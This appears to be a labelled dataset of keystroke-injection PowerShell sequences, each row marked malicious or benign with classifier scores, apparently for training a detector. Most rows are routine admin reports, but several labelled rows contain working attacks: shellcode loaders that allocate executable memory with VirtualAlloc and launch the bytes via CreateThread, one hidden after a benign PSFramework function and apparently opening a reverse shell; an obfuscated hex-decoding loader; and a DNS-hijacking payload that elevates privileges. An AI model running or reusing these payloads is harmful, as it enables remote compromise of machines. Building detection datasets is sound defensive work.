0xbd,0x5c,0x3b,0x65,0xad,0xd9,0xe9,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,0x47,0x31,0x6b,0x13,0x83,0xc3,0x04,0x03,0x6b,0x53,0xd9,0x90,0x51,0x83,0x9f,0x5b,0xaa,0x53,0xc0,0xd2,0x4f,0x62,0xc0,0x81,0x04,0xd4,0xf0,0xc2,0x49,0xd8,0x7b,0x86,0x79,0x6b,0x09,0x0f,0x8d,0xdc,0xa4,0x69,0xa0,0xdd,0x95,0x4a,0xa3,0x5d,0xe4,0x9e,0x03,0x5c,0x27,0xd3,0x42,0x99,0x5a,0x1e,0x16,0x72,0x10,0x8d,0x87,0xf7,0x6c,0x0e,0x23,0x4b,0x60,0x16,0xd0,0x1b,0x83,0x37,0x47,0x10,0xda,0x97,0x69,0xf5,0x56,0x9e,0x71,0x1a,0x52,0x68,0x09,0xe8,0x28,0x6b,0xdb,0x21,0xd0,0xc0,0x22,0x8e,0x23,0x18,0x62,0x28,0xdc,0x6f,0x9a,0x4b,0x61,0x68,0x59,0x36,0xbd,0xfd,0x7a,0x90,0x36,0xa5,0xa6,0x21,0x9a,0x30,0x2c,0x2d,0x57,0x36,0x6a,0x31,0x66,0x9b,0x00,0x4d,0xe3,0x1a,0xc7,0xc4,0xb7,0x38,0xc3,0x8d,0x6c,0x20,0x52,0x6b,0xc2,0x5d,0x84,0xd4,0xbb,0xfb,0xce,0xf8,0xa8,0x71,0x8d,0x94,0x1d,0xb8,0x2e,0x64,0x0a,0xcb,0x5d,0x56,0x95,0x67,0xca,0xda,0x5e,0xae,0x0d,0x1d,0x75,0x16,0x81,0xe0,0x76,0x67,0x8b,0x26,0x22,0x37,0xa3,0x8f,0x4b,0xdc,0x33,0x30,0x9e,0x49,0x31,0xa6,0x79,0x20,0xd0,0x97,0x12,0x3e,0x23,0xcd,0xe8,0xb7,0xc5,0xa1,0xbc,0x97,0x59,0x01,0x6d,0x58,0x0a,0xe9,0x67,0x57,0x75,0x09,0x88,0xbd,0x1e,0xa3,0x67,0x68,0x76,0x5b,0x11,0x31,0x0c,0xfa,0xde,0xef,0x68,0x3c,0x54,0x1c,0x8c,0xf2,0x9d,0x69,0x9e,0x62,0x6e,0x24,0xfc,0x24,0x71,0x92,0x6b,0xc8,0xe7,0x19,0x3a,0x9f,0x9f,0x23,0x1b,0xd7,0x3f,0xdb,0x4e,0x6c,0x89,0x49,0x31,0x1a,0xf6,0x9d,0xb1,0xda,0xa0,0xf7,0xb1,0xb2,0x14,0xac,0xe1,0xa7,0x5a,0x79,0x96,0x74,0xcf,0x82,0xcf,0x29,0x58,0xeb,0xed,0x14,0xae,0xb4,0x0e,0x73,0x2e,0x88,0xd8,0xbd,0x44,0xe0,0xd8;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$TzO=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($TzO.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$TzO,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2562522e-05,0.9999474
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_3btn100r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 20 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_20.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4738885e-05
"win+r enter powershell enter enter enter REM Title: DNS changer enter REM Author: luu176 enter REM Description: Changes DNS address of windows machine in powershell enter REM Target: Windows 10/11 enter enter REM wifi interface should be named: Wi-Fi enter DEFINE #interface Ethernet enter DEFINE #primaryDNS 192.168.1.3 enter DEFINE #secondaryDNS 1.1.1.1 enter enter EXTENSION PASSIVE_WINDOWS_DETECT enter REM VERSION 1.1 enter REM AUTHOR: Korben enter enter REM_BLOCK DOCUMENTATION enter Windows fully passive OS Detection and passive Detect Ready enter Includes its own passive detect ready. enter Does not require additional extensions. enter enter USAGE: enter Extension runs inline (here) enter Place at beginning of payload (besides ATTACKMODE) to act as dynamic enter boot delay enter $_OS will be set to WINDOWS or NOT_WINDOWS enter See end of payload for usage within payload enter END_REM enter enter REM CONFIGURATION: enter DEFINE #MAX_WAIT 150 enter DEFINE #CHECK_INTERVAL 20 enter DEFINE #WINDOWS_HOST_REQUEST_COUNT 2 enter DEFINE #NOT_WINDOWS 7 enter enter $_OS = #NOT_WINDOWS enter enter VAR $MAX_TRIES = #MAX_WAIT enter WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) enter DELAY #CHECK_INTERVAL enter $MAX_TRIES = ($MAX_TRIES - 1) enter END_WHILE enter IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN enter $_OS = WINDOWS enter END_IF enter enter REM_BLOCK EXAMPLE USAGE AFTER EXTENSION enter IF ($_OS == WINDOWS) THEN enter STRING HELLO WINDOWS! enter ELSE enter STRING HELLO WORLD! enter END_IF enter END_REM enter END_EXTENSION enter enter SAVE_HOST_KEYBOARD_LOCK_STATE enter GUI r enter DELAY 150 enter STRINGLN powershell Start-Process powershell -Verb runAs enter DELAY 800 enter ALT y enter DELAY 500 enter STRINGLN Set-DnsClientServerAddress -InterfaceAlias ""#interface"" -ServerAddresses (""#primaryDNS"", ""#secondaryDNS""); exit enter REM below is to blink the LED when payload done enter VAR $i = 0 enter WHILE ( $i < 9 ) enter DELAY 150 enter CAPSLOCK enter $i = ( $i + 1 ) enter END_WHILE enter RESTORE_HOST_KEYBOARD_LOCK_STATE enter enter",1,1,6.0779534e-05,0.9999392
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install awscli enter A enter enter enter,0,0,0.99995995,4.0080355e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install dotnet3.5 enter A enter enter enter,0,0,0.9999604,3.951826e-05
"win+r powershell enter function Get-PSFMessageLevelModifier { [CmdletBinding(HelpUri = 'https://psfr enter amework.org/documentation/commands/PSFramework/Get-PSFMessageLevelModifier')] P enter aram ( [string] $Name = ""*"" ) ([PSFramework.Message.MessageHost]::MessageL enter evelModifiers.Values) | Where-Object Name -Like $Name } enter enter",0,0,0.9925978,0.0074021346
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_mp62isif"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_15.txt"") -Encoding UTF8 enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter",0,0,0.9999653,3.4732424e-05
"win+r powershell enter $OutPath = ""C:\ProgramData\LUNSZTNOXSSVCTNEVRBDGH"" function VAVFNRRKYTEZUGKEFDVP enter SJ($IXKAPOLVLWETHZLJUIPBYK) { $LUNSZTNOXSSVCTNEVRBDGH = """" for ($IUIEFDNHWYNPL enter ERUAXQIZW = 0; $IUIEFDNHWYNPLERUAXQIZW -lt $IXKAPOLVLWETHZLJUIPBYK.Length; $IUIE enter FDNHWYNPLERUAXQIZW += 2) {$LUNSZTNOXSSVCTNEVRBDGH += [char][int](""0x"" + $IXKAPO enter LVLWETHZLJUIPBYK.Substring($IUIEFDNHWYNPLERUAXQIZW,2))} return $LUNSZTNOXSSVCTN enter EVRBDGH } $DEQDDEPGNAICJTKISABCNV = VAVFNRRKYTEZUGKEFDVPSJ 'LUNSZTNOXSSVCTNEVR enter BDGH9LUNSZTNOXSSVCTNEVRBDGHLUNSZTNOXSSVCTNEVRBDGHIXKAPOLVLWETHZLJUIPBYK0IXKAPOLV enter LWETHZLJUIPBYK8IXKAPOLVLWETHZLJUIPBYKDLUNSZTNOXSSVCTNEVRBDGHELUNSZTNOXSSVCTNEVRB enter DGHF74IXKAPOLVLWETHZLJUIPBYK0IXKAPOLVLWETHZLJUIPBYK854LUNSZTNOXSSVCTNEVRBDGH5737 enter 4IXKAPOLVLWETHZLJUIPBYKD50LUNSZTNOXSSVCTNEVRBDGH174LUNSZTNOXSSVCTNEVRBDGH8IXKAPO enter LVLWETHZLJUIPBYK0IXKAPOLVLWETHZLJUIPBYK0IXKAPOLVLWETHZLJUIPBYK44F757450LUNSZTNOX enter SSVCTNEVRBDGH174LUNS enter enter",1,1,6.0757513e-05,0.9999392
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_sv7hqoiv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_25.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4519075e-05
"win+r enter powershell enter enter enter $WBY = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $WBY -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbb,0x49,0xa1,0xeb,0x39,0xdb,0xd4,0xd9,0x74,0x24,0xf4,0x58,0x2b,0xc9,0xb1,0x47,0x31,0x58,0x13,0x03,0x58,0x13,0x83,0xe8,0xb5,0x43,0x1e,0xc5,0xad,0x06,0xe1,0x36,0x2d,0x67,0x6b,0xd3,0x1c,0xa7,0x0f,0x97,0x0e,0x17,0x5b,0xf5,0xa2,0xdc,0x09,0xee,0x31,0x90,0x85,0x01,0xf2,0x1f,0xf0,0x2c,0x03,0x33,0xc0,0x2f,0x87,0x4e,0x15,0x90,0xb6,0x80,0x68,0xd1,0xff,0xfd,0x81,0x83,0xa8,0x8a,0x34,0x34,0xdd,0xc7,0x84,0xbf,0xad,0xc6,0x8c,0x5c,0x65,0xe8,0xbd,0xf2,0xfe,0xb3,0x1d,0xf4,0xd3,0xcf,0x17,0xee,0x30,0xf5,0xee,0x85,0x82,0x81,0xf0,0x4f,0xdb,0x6a,0x5e,0xae,0xd4,0x98,0x9e,0xf6,0xd2,0x42,0xd5,0x0e,0x21,0xfe,0xee,0xd4,0x58,0x24,0x7a,0xcf,0xfa,0xaf,0xdc,0x2b,0xfb,0x7c,0xba,0xb8,0xf7,0xc9,0xc8,0xe7,0x1b,0xcf,0x1d,0x9c,0x27,0x44,0xa0,0x73,0xae,0x1e,0x87,0x57,0xeb,0xc5,0xa6,0xce,0x51,0xab,0xd7,0x11,0x3a,0x14,0x72,0x59,0xd6,0x41,0x0f,0x00,0xbe,0xa6,0x22,0xbb,0x3e,0xa1,0x35,0xc8,0x0c,0x6e,0xee,0x46,0x3c,0xe7,0x28,0x90,0x43,0xd2,0x8d,0x0e,0xba,0xdd,0xed,0x07,0x78,0x89,0xbd,0x3f,0xa9,0xb2,0x55,0xc0,0x56,0x67,0xc3,0xc5,0xc0,0x82,0x1d,0xc7,0x91,0xfb,0x1f,0xc7,0x91,0xab,0x96,0x21,0xc1,0x1b,0xf9,0xfd,0xa1,0xcb,0xb9,0xad,0x49,0x06,0x36,0x91,0x69,0x29,0x9c,0xba,0x03,0xc6,0x49,0x92,0xbb,0x7f,0xd0,0x68,0x5a,0x7f,0xce,0x14,0x5c,0x0b,0xfd,0xe9,0x12,0xfc,0x88,0xf9,0xc2,0x0c,0xc7,0xa0,0x44,0x12,0xfd,0xcf,0x68,0x86,0xfa,0x59,0x3f,0x3e,0x01,0xbf,0x77,0xe1,0xfa,0xea,0x0c,0x28,0x6f,0x55,0x7a,0x55,0x7f,0x55,0x7a,0x03,0x15,0x55,0x12,0xf3,0x4d,0x06,0x07,0xfc,0x5b,0x3a,0x94,0x69,0x64,0x6b,0x49,0x39,0x0c,0x91,0xb4,0x0d,0x93,0x6a,0x93,0x8f,0xef,0xbc,0xdd,0xe5,0x01,0x7d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$ecA=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($ecA.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$ecA,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2209933e-05,0.9999478
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_ldvs7dgc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 3."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.479501e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_6vyo75f2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Export-Csv -Path (Join-Path $ReportDir ""network_routes.csv"") -NoTypeInformation enter Get-Process -Name ""chrome"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 30 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_30.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.411859e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_huus2bjg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4101347e-05
"win+r enter powershell enter enter enter  enter function Test-AzureSqlPolicy enter { enter $vault = Get-AzRecoveryServicesVault -ResourceGroupName ""sqlpaasrg"" -Name ""sqlpaasrn""; enter $retPolicy = Get-AzRecoveryServicesBackupRetentionPolicyObject -WorkloadType ""AzureSQL"" enter Assert-NotNull $retPolicy enter $policy = New-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -Name ""swatipol1"" ` enter -WorkloadType ""AzureSQL"" ` enter -RetentionPolicy $retPolicy enter $policy1 = Get-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -Name ""swatipol1"" enter Assert-AreEqual $policy1.RetentionPolicy.RetentionCount 10; enter Assert-AreEqual $policy1.RetentionPolicy.RetentionDurationType ""Months"" enter enter $retPolicy.RetentionDurationType = ""Weeks"" enter $retPolicy.RetentionCount = 2 enter Set-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -RetentionPolicy $retPolicy ` enter -Policy $policy1 enter enter $policy1 = Get-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -Name ""swatipol1"" enter Assert-AreEqual $policy1.RetentionPolicy.RetentionCount 2 enter Assert-AreEqual $policy1.RetentionPolicy.RetentionDurationType ""Weeks"" enter $policy2 = New-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -Name ""swatipol2"" ` enter -WorkloadType ""AzureSQL"" ` enter -RetentionPolicy $retPolicy enter enter $listPolicy = Get-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -WorkloadType ""AzureSQLDatabase"" enter Assert-NotNull $listPolicy enter Remove-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -Policy $policy1 -Force enter Remove-AzRecoveryServicesBackupProtectionPolicy ` enter -VaultId $vault.ID ` enter -Policy $policy2 -Force enter } enter enter",0,0,0.9999523,4.771722e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_u75zg69r"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.496782e-05
"win+r enter powershell enter enter enter $branch = [uri]::EscapeDataString($env:PSES_BRANCH) enter $headers = @{Authorization = ""Bearer $env:SYSTEM_ACCESSTOKEN""} enter enter $buildsUrl = $env:VSTS_PSES_URL_TEMPLATE -f $branch, ""succeeded"" enter $succeededBuilds = Invoke-RestMethod -ContentType application/json -Uri $buildsUrl -Headers $headers enter Write-Host ""Requested URL: $buildsUrl"" enter Write-Host ""Got response:`n$(ConvertTo-Json $succeededBuilds)"" enter enter $buildsUrl = $env:VSTS_PSES_URL_TEMPLATE -f $branch, ""partiallySucceeded"" enter $partiallySucceededBuilds = Invoke-RestMethod -ContentType application/json -Uri $buildsUrl -Headers $headers enter Write-Host ""Requested URL: $buildsUrl"" enter Write-Host ""Got response:`n$(ConvertTo-Json $partiallySucceededBuilds)"" enter enter $builds = @( enter $succeededBuilds.value enter $partiallySucceededBuilds.value enter ) | Sort-Object finishTime -Descending enter enter Write-Host ""Got PSES_BRANCH: ${env:PSES_BRANCH}"" enter Write-Host ""setting PSES_BUILDID to $($builds[0].Id)"" enter Write-Host "" enter enter",0,0,0.99995124,4.8781803e-05
"win+r enter powershell enter enter enter  enter [CmdletBinding()] enter [OutputType('System.Management.Automation.PSCustomObject')] enter param ( enter [Parameter(Mandatory)] enter [string]$DnsZone, enter [Parameter()] enter [switch]$CheckValidity, enter [Parameter()] enter [string]$DnsServer = (Get-ADDomain).ReplicaDirectoryServers[0], enter [Parameter()] enter [int]$WarningDays = 1, enter [string]$EmailAddress, enter [Parameter()] enter [string]$NetbiosDomainName = (Get-AdDomain).NetBIOSName, enter [Parameter()] enter [ValidateScript({ Test-Path -Path $_ -PathType Leaf })] enter [string]$NbtScanFilePath = 'C: enter btscan.exe' enter ) enter begin { enter function Get-DnsHostname ($IPAddress) { enter try { enter enter $Result = nslookup $IPAddress 2> $null enter $Result | where { $_ -match 'name' } | foreach { enter $_.Replace('Name: ', '') enter } enter } catch { enter Write-Warning ""Could not find DNS hostname for IP $IpAddress"" enter $false enter } enter } enter Function Test-Ping ($ComputerName) { enter $Result = ping $Computername -n 2 enter if ($Result | where { $_ -match 'Reply from ' }) { enter $true enter } else { enter $false enter } enter } enter enter function Get-Computername ($IpAddress) { enter try { enter & $NbtScanFilePath $IpAddress 2> $null | where { $_ -match ""$NetbiosDomainName\\(.*) "" } | foreach { $matches[1].Trim() } enter } catch { enter Write-Warning -Message ""Failed to get computer name for IP $IpAddress"" enter $false enter } enter } enter } enter process { enter try { enter enter $ServerScavenging = Get-DnsServerScavenging -Computername $DnsServer enter $ZoneAging = Get-DnsServerZoneAging -Name $DnsZone -ComputerName $DnsServer enter if (!$ServerScavenging.ScavengingState) { enter Write-Warning ""Scavenging not enabled on server '$DnsServer'"" enter $NextScavengeTime = 'N/A' enter } else { enter $NextScavengeTime = $ServerScavenging.LastScavengeTime + $ServerScavenging.ScavengingInterval enter Write-Verbose ""The next scavenge time is '$NextScavengeTime'"" enter } enter if (!$ZoneAging.AgingEnabled) { enter Write-Warning ""Aging not enabled on zone '$DnsZone'"" enter $NextScavengeTime = 'N/A' enter } enter $StaleThreshold = ($ZoneAging.NoRefreshInterval.Days + $ZoneAging.RefreshInterval.Days) + $WarningDays enter Write-Verbose ""The stale threshold is '$StaleThreshold' days"" enter $StaleRecords = Get-DnsServerResourceRecord -ComputerName $DnsServer -ZoneName $DnsZone -RRType A | where { $_.TimeStamp -and ($_.Timestamp -le (Get-Date).AddDays(""-$StaleThreshold"")) -and ($_.Hostname -like ""*.$DnsZone"") } enter Write-Verbose ""Found '$($StaleRecords.Count)' stale records in zone '$DnsZone' on server '$DnsServer'"" enter $EmailRecords = @() enter foreach ($StaleRecord in $StaleRecords) { enter $Output = @{ enter 'Server' = $DnsServer enter 'Zone' = $DnsZone enter 'RecordHostname' = $StaleRecord.Hostname enter 'RecordTimestamp' = $StaleRecord.Timestamp enter 'ReversePTRRecord' = 'N/A' enter 'ReverseNetBIOSHostname' = 'N/A' enter 'IsScavengable' = (@{ $true = $false; $false = $true }[$NextScavengeTime -eq 'N/A']) enter 'ToBeScavengedOn' = $NextScavengeTime enter 'RecordMatchesNetBiosHostname' = 'N/A' enter 'HostOnline' = 'N/A' enter } enter if ($CheckValidity.IsPresent) { enter Write-Verbose ""Checking stale record '$($StaleRecord.Hostname)'"" enter enter $RecordIp = $StaleRecord.RecordData.IPV4Address.IPAddressToString enter $ReverseDnsHostname = Get-DnsHostname -IPAddress $RecordIp enter if ($ReverseDnsHostname) { enter Write-Verbose ""DNS PTR record is '$ReverseDnsHostname'"" enter $Output.ReversePTRRecord = $ReverseDnsHostname enter } else { enter Write-Verbose ""No DNS PTR record exists for record '$($StaleRecord.Hostname)'"" enter } enter $ReverseNetbiosHostname = Get-Computername -IpAddress $RecordIp enter if ($ReverseNetbiosHostname) { enter Write-Verbose ""Netbios hostname is '$ReverseNetbiosHostname'"" enter $Output.ReverseNetBIOSHostname = $ReverseNetbiosHostname enter } else { enter Write-Verbose ""No Netbios hostname exists for record '$($StaleRecord.Hostname)'"" enter } enter enter if ($ReverseNetbiosHostname -eq $StaleRecord.Hostname.Replace("".$DnsZone"", '')) { enter Write-Verbose ""Netbios hostname matches DNS record hostname"" enter $Output.RecordMatchesNetBiosHostname = $true enter $Output.HostOnline = Test-Ping -Computername $ReverseNetbiosHostname enter } enter } enter if ($EmailAddress) { enter $EmailRecords += [pscustomobject]$Output enter } else { enter [pscustomobject]$Output enter } enter } enter if ($EmailAddress) { enter if ($EmailRecords.Count -eq 0) { enter Write-Verbose ""No stale records found to email"" enter } else { enter Write-Verbose ""Emailing the list of $($EmailRecords.Count) stale records to $EmailAddress"" enter $Params = @{ enter 'From' = 'Union Hospital <abertram@domain.com>'; enter 'To' = $EmailAddress; enter 'Subject' = 'UNH DNS Records To be Scavenged'; enter 'SmtpServer' = 'smtp.domain.com' enter 'Body' = $EmailRecords | Out-String enter } enter enter Send-MailMessage @Params enter } enter } enter } catch { enter Write-Error $_.Exception.Message enter } enter } enter enter",0,0,0.9997297,0.0002703263
"win+r enter powershell enter enter enter function Test-PSFPowerShell enter { enter enter [OutputType([System.Boolean])] enter [CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Test-PSFPowerShell')] enter param ( enter [Version] enter $PSMinVersion, enter enter [Version] enter $PSMaxVersion, enter enter [PSFramework.FlowControl.PSEdition] enter $Edition, enter enter [PSFramework.FlowControl.OperatingSystem] enter [Alias('OS')] enter $OperatingSystem, enter enter [switch] enter $Elevated enter ) enter enter begin enter { enter Write-PSFMessage -Level InternalComment -Message ""Bound parameters: $($PSBoundParameters.Keys -join "", "")"" -Tag 'debug','start','param' enter } enter process enter { enter enter if ($PSMinVersion -and ($PSMinVersion -ge $PSVersionTable.PSVersion)) enter { enter return $false enter } enter if ($PSMaxVersion -and ($PSMaxVersion -le $PSVersionTable.PSVersion)) enter { enter return $false enter } enter if ($Edition -like ""Desktop"") enter { enter if ($PSVersionTable.PSEdition -eq ""Core"") enter { enter return $false enter } enter } enter if ($Edition -like ""Core"") enter { enter if ($PSVersionTable.PSEdition -ne ""Core"") enter { enter return $false enter } enter } enter if ($OperatingSystem) enter { enter switch ($OperatingSystem) enter { enter ""MacOS"" enter { enter if ($PSVersionTable.PSVersion.Major -lt 6) { return $false } enter if (-not $IsMacOS) { return $false } enter } enter ""Linux"" enter { enter if ($PSVersionTable.PSVersion.Major -lt 6) { return $false } enter if (-not $IsLinux) { return $false } enter } enter ""Windows"" enter { enter if (($PSVersionTable.PSVersion.Major -ge 6) -and (-not $IsWindows)) enter { enter return $false enter } enter } enter } enter } enter if ($Elevated) enter { enter if (($PSVersionTable.PSVersion.Major -lt 6) -or ($IsWindows)) enter { enter $identity = [Security.Principal.WindowsIdentity]::GetCurrent() enter $principal = New-Object Security.Principal.WindowsPrincipal $identity enter if (-not $principal.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)) enter { enter return $false enter } enter } enter } enter return $true enter } enter end enter { enter enter } enter } enter $ORFa = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ORFa -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x67,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x0